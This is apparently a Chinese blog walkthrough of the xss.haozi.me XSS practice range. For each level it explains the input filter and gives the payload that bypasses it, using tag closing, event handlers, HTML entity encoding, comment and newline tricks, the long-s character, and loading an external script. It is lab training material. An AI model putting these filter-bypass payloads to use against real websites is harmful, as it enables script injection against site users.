耗子XSS靶场

耗子XSS靶场

地址:https://xss.haozi.me/

感觉这个靶场的界面做的很不错,输入输出还有后端的源码能够一目了然,目标是弹出alert(1)

0x00

image-20210311094626509

没有任何过滤就直接输出

<script>alert()</script>

0x01

image-20210311094751336

输入的参数被包裹在文本框里面,我们只需要把前面的<textarea>标签闭合,再添加<script>标签即可

</textarea><script>alert()</script>

0x02

image-20210311155850929

输入的参数作为<input>标签的value回显到前端中,我们可以闭合掉value的值,再加上onclick事件即可

" onclick=alert() "
image-20210311160617866

或者直接闭合掉<input>标签,添其他的标签也行。

"> <img src=x onerror=alert()>
image-20210311160517610

0x03

image-20210311160800620

这一关把括号使用正则表达式给过滤掉了,

  • 正则表达式/[()]/g
  • 末尾的g是全局匹配
  • 两条斜杠是代表开始与结束的位置
  • 方括号是表示匹配方括号中的任意字符
  • 这个正则表达式的意思就是,全局匹配左括号和又括号

这里有几种绕过的方式

  1. 使用反引号代替()
<img src="" onerror=alert`1`>
  1. 使用HTML编码标识()
 <img src=# onerror=alert&#x28;1&#x29;>
  1. 使用src属性引用外部js文件
<script src=http://127.0.0.1:81/XSS/xss.js ></script>

这里xss.js文件的内容是

alert(1)

0x04

image-20210311163027402

这里不仅把()过滤掉了,还把`也过滤了,因此无法使用反引号代替括号的方法,但是0x03剩下的两种方法都可行。

0x05

image-20210311163950887

这一关使用正则过滤了-->,目的是想方式我们把注释的标签闭合掉,但是使用--!>一样可以把注释标签闭合。

--!><script>alert(1)</script>

0x06

image-20210311164315630

这一关把auto>on开头=结尾的字符不区分大小写进行过滤,但是正则表达式没有过滤换行

type="image" src=x onerror
=alert(1)

0x07

image-20210311165218304

服务器使用正则表达式,对<>括起来的内容进行过滤替换成空,但是由于HTML的容错性极高,所以,对于不闭合也能接受

<img src="" onerror=alert(1) 

后面加空格或者回车才能触发

0x08

image-20210311165736652

这里使用了正则匹配</style>标签来防止我们闭合标签,我们在</script>中间插入空格即可绕过

</style >
<script> alert(1) </script>

0x09

image-20210311170342498

这里使用了正则匹配过滤了不是以https://www.sogmentfault.com开头的字符串,并且把输入放到了<script>标签的src属性里面,所以我们先要构造以https://www.sogmentfault.com开头的字符串,然后再把<script>标签闭合,添加XSS攻击语句。

https://www.segmentfault.com"></script>
<script>alert(1)</script>
<script "

0x0A

image-20210311171827533

这一关再0x09的基础上还把 &'"<>/ 给转换为HTML实体编码,因此这一题无法使用闭合再添加标签的方式,需要用到HTML的@特性,请求Url:www.google.com@www.youtube.com最后访问到是 YouTube , Google相当于做了一次跳转

https://www.segmentfault.com@xss.haozi.me/j.js

这里需要域名双方的协议(http或者https)一样才可以进行跳转,由于本地使用phpstudy搭建的服务器不是https协议的,因此无法使用本地的链接。

0x0B

image-20210311190153813

这一关把输入的参数做了大写处理,由于HTML对大小写不敏感,但是JavaScript对大小写敏感,也就是ALERT()无法执行,因此我们需要想办法绕过对JavaScript的的大写转换,这里有两种方法:

  1. 使用HTML编码绕过
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
  1. 利用外部JavaScript文件

由于URL对大小写也步敏感,所以我们可以引入外部的URL进行绕过

<script src=http://127.0.0.1:81/XSS/xss.js></script>

0x0C

image-20210311191346642

这一题在0x0B的基础上把script字符串也过滤了并且步区分大小写,绕过的方法很多,除了使用上题的第一种方法外,想引入外部JavaScript文件的话可以使用双写绕过:

<scrscriptipt src=http://127.0.0.1:81/XSS/xss.js></scrscriptipt>

0x0D

image-20210311192129334

这一关过滤掉了</"',并且在输出的<script>标签内使用//屏蔽掉里面的内容,但是由于是使用单行注释符,因此我们输入回车就会跳到下一行,从而逃出注释,而后面的')可以使用-->给注释掉。

alert(1);
-->

0x0E

image-20210311193819926

服务器使用正则表达式对以<开头后面接大小写字母进行替换成<_加大写字母,导致几乎所有的标签都无法使用,由于HTML实体编码只能用在标签内部的属性或者事件里面,标签本身无法使用HTML实体编码绕过。

ſ是古英语中的s的写法, 转成大写是正常的S

所以我们可以利用这点构造<script>标签

<ſcript src="http://127.0.0.1:81/XSS/xss.js"></script>

0x0F

image-20210311194654767

服务器对&'"<>\进行HTML实体编码,但是在HTML标签里面使用HTML实体编码没啥用,因为浏览器会解析HTML实体编码,所以将onerror的console.error闭合绕过就行了

');alert('1

0x10

image-20210311194951274

这里似乎没有做任何防御,直接随便赋一个值给window.data,直接使用alert(1)即可

1;alert(1);

0x11

image-20210311200626438

服务器过滤了一大堆字符,并在其前面添加反斜杠进行转义

注意console.log("${s}"),当我们输入一个双引号",正则会变成\",然后整条语句变成console.log("\"").这样反斜杠就失去转义的作用,相当于我们输入\\,然后通过转义之后返回\\\\,经过解析之后实际上就是\\,所以依然可以使用\\来注释掉后面的内容。

';alert(1)//

0x12

image-20210311201306055

这里吧"给转义了,目的是阻止我们把console.log("")闭合,这里我们的方法是把它转义的\给转义掉

\");alert(1);//

参考资料

XSS弹窗练习 : xss.haozi.me

xss靶场练习(一)之xss.haozi.me

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇